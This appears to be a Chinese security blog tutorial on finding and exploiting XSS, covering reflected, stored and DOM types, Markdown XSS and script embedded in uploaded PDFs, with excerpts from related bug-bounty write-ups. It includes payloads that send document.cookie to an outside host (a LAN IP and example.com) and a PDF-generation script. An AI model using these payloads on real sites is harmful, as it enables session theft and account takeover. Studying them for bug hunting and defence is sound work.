web漏洞挖掘指南 -XSS跨站脚本攻击

VSole2021-10-12 16:30:53

一、漏洞原理

1. 跨站脚本英文全称(Cross Site Scripting跨站脚本),为了不和css层叠样式表(英文全称:Cascading Style Sheets)混淆,因此将跨站脚本缩写为XSS。产生XSS漏洞根本原因其实是web应用未对用户的输入进行严格的过滤和转义,导致攻击者可从正常的输入功能注入脚本代码,我常将xss攻击理解为一种javascript注入,当带有xss恶意代码的页面被其他用户访问到时,js便会被执行,js脚本可以执行很多操作,比如:窃取用户cookie,读取用户键盘记录,截屏,恶意跳转等,甚至可以结合BEEF的hook.js钩子劫持用户浏览器。

二、XSS漏洞检测

0x1

公认XSS有三种类型:反射型、存储型、dom型。根据字面意思很好区分三者,反射型即服务器根据用户当前输入做出的响应,只能触发一次,这个过程就像一次反射。因此市面上大多self-xss都来自反射型xss,攻击者输入xss脚本,输出仅自己看到,仅xss到自己,常在查询、搜索等功能出现。

0x2

存储型xss即页面保存了攻击者输入的恶意代码,除非对应记录被删除,否则可以一直触发xss,常在留言、个人信息登记等功能出现。

0x3

dom型xss比较独特,它涉及的两个层次不是服务器端和浏览器端,而是浏览器端的JavaScript层和HTML层。换种更好理解的说法也就是:从服务器脚本变成了客户端脚本,dom xss的payload不需要服务端解析响应,而是靠浏览器的dom解析,因此dom-xss的触发是抓不到请求包的。漏洞示例xss.html:

                    
"tr1">
            </span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer">                    document.getElementById(<span class="code-snippet__string" style="box-sizing: border-box;">"tr1"</span>).innerHTML = unescape(location.hash);</span></code><code style="box-sizing: border-box;"><span class="code-snippet_outer">                    

0x4

xss漏洞检测用弹窗进行测试即可,常见的几种弹窗方法:alert()、confirm()、prompt()、console.log()。测试时,尽量结合各种xss类型的特征对功能点进行验证,除了大家常说的“有框即插(看见输入框就盲插xss payload)”,还需注意请求中的各种参数,是否可以原样输出或者以html代码的形式保存到了另一个页面。

三、XSS漏洞利用

0x1

上文提到过,xss的本质其实是js代码的注入,所以XSS漏洞的危害来源于js代码执行,最常见的就是盗取用户cookie,但是在实际场景中我们经常会遇到cookie设置httponly属性导致无法通过js脚本读取的情况,这时还可以读取用户键盘记录,截屏,恶意跳转等,甚至可以结合BEEF的hook.js钩子劫持用户浏览器。

0x2

以最简单的盗取cookie的payload为例,先用python搭建web服务充当xss平台:

0x3

然后在存有xss漏洞的位置传入payload:

document.location=’http:<span class="code-snippet__comment" style="box-sizing: border-box;">//192.168.123.24?’+document.cookie;

0x4

上述payload先用document.cookie获取了用户cookie,然后利用document.location进行跳转,这样客户端就会携带document.cookie的值访问xss平台,通过xss平台的web日志即可查看对应记录:

0x5

市面上的xss平台其实已经编写出很多成熟的xss利用模板了,js代码操作不熟练的师傅可以直接套用xss平台的模板:




Markdown XSS

0x1

Markdown 是一种轻量级标记语言,它允许人们使用纯文本格式编写文档。通过简单的文本方式标记就能指定格式,轻轻松松完成文档的编辑。

markdown语言从文本-指定格式的转换过程可以看作一系列的html转换,最终以html标签的形式存储在页面上,因此markdown编辑器也可能出现XSS漏洞。

0x2

插入超链接:


0x3

除了插入超链接,我们还可以参照常规的XSS payload进行尝试,比如、等标签。参考案例:

http://www.52bug.cn/hkjs/3292.htmlhttps://mp.weixin.qq.com/s/7Qa4o0sYfJei07K3mjL-GA

五、上传PDF导致的XSS

0x1

之前在论坛上看到过有师傅通过把xss代码加到pdf文件,然后通过正常的文件上传功能传至目标服务器中,利用浏览器自带的pdf阅读功能触发xss,这类漏洞还是会有部分厂商会确认的,参考文章:

https://www.t00ls.cc/thread-48480-1-1.htmlhttps://www.t00ls.cc/articles-62790.html

pdf文件还是很少被禁止上传的,众测项目中可以尝试此类测试。

0x2

利用条件:1.有pdf文件上传点 2.保存好的pdf文件可以直接浏览器查看,而不是只能下载至本地。

0x3

python脚本一键生成带有xss代码的pdf文件:

    from PyPDF2 import PdfFileWriter    file = PdfFileWriter()    file.addJS('app.alert("XSS");')    output = open('xss.pdf', 'wb')    file.write(output)

xss和markdown xss的fuzz字典可以点击查看原文附件自取


漏洞挖掘xss
本作品采用《CC 协议》,转载必须注明作者和本文链接
跨站脚本英文全称(Cross Site Scripting跨站脚本),为了不和css层叠样式表(英文全称:Cascading Style Sheets)混淆,因此将跨站脚本缩写为XSS。本期我们讲解一下XSS漏洞原理和利用检测。
ezXSS介绍ezXSS是一款用于渗透测试和漏洞挖掘XSS盲测跨站脚本工具。在演示版本中可能禁用了一些特性。
但当存在存储型XSS时,受害者打开此URL,攻击代码将会被触发,这种情况下便称之为存储型XSS漏洞。在标题处和帖子内容中分别填写payload,填写好之后,应与下图一致填写好内容之后,点击下方的发表按钮,即可进行发帖,发帖成功会弹出一个提示成功,如下图所示?????
xsshelp闲着没事随便写的一个辅助挖掘xss漏洞的工具xsshelp version: 1.0.0Usage: [-ut] [-u url] [-t thread] [-h help]Options: -h this help -t intthread Num -u string a target url
我发现了一个存储的XSS漏洞,我可以通过窃取cookie升级为帐户接管。我的payload目前需要最少的用户交互,只需单击即可。之后,向下滚动并单击取消预约。确保您拦截了此请求。使用以下有效载荷添加消息:"><xss/id="1"/tabindex="1"/onfocusin="window.location.href='https://example.com?cookie='%2bdocument.cookie">您通常会收到一个确认框,确认您的预约已取消,单击确定。即使管理员注销,此cookie也可以轻松重用。这是因为cookie不会过期。影响我能够通过取消我们的预约并包含一条消息来接管一个管理员帐户。这意味着我们必须找到一个具有用户交互的。
在查看电子邮件时,我发现了 Microsoft 的新服务预订。Microsoft booking 允许任何人预订服务/日历时段。此应用程序有两个界面,一个是内部界面,另一个是面向公众的服务页面。我决定深入检查这个应用程序。我尝试插入各种 XSS payload 来触发 xss 但没有成功。现在我的注意力转移到了这个标签上。应用程序有各种保护机制来防止脚本的执行。
在这篇文章中,我将讨论 Microsoft Forms 中反射式跨站点脚本 漏洞的详细信息。它允许用户创建表单和调查,与他人共享,并在集中位置收集响应。但是,我们发现可以将恶意JavaScript代码注入表单中,这些代码可以由毫无戒心的用户执行。我遵循了 MSRC 报告漏洞的准则并提交了我的发现。欲了解更多信息,请参阅:向 MSRC 提交报告的示例 https://www.microsoft.com/en-us/msrc/bounty-example-report-submission微软赏金计划 |微软公司 https://www.microsoft.com/en-us/msrc/bounty?
每个黑客都会遇到这个,第一个赏金。我实际上无法解释它的感觉,但我知道你们中的大多数人都能理解它的感觉。当我们开始在 Web 应用程序安全中进行漏洞赏金时,我们大多数人都会从 XSS开始,故事从这里开始。
记一次NFT平台的存储型XSS和IDOR漏洞这是我在 NFT 市场中发现的一个令人兴奋的安全问题,它允许我通过链接 IDOR 和 XSS 来接管任何人的帐户,以实现完整的帐户接管漏洞。我们能够用我们自己的价值观修改受害者用户的个人资料。现在我们可以提出任何其他请求来执行其他经过身份验证的操作,例如出售艺术品或转让或删除用户的艺术品漏洞披露
大家好,在本文中,我将分享我在2个TikTok资产发现的XSS漏洞。当我决定在TikTok 程序中寻找漏洞 时,我花了1个月的时间寻找这个XSS。当我在TikTok 卖家账户上创建产品时,这个 XSS 发现开始了我在卖家账户的产品名称中插入了 XSS payload。
VSole
网络安全专家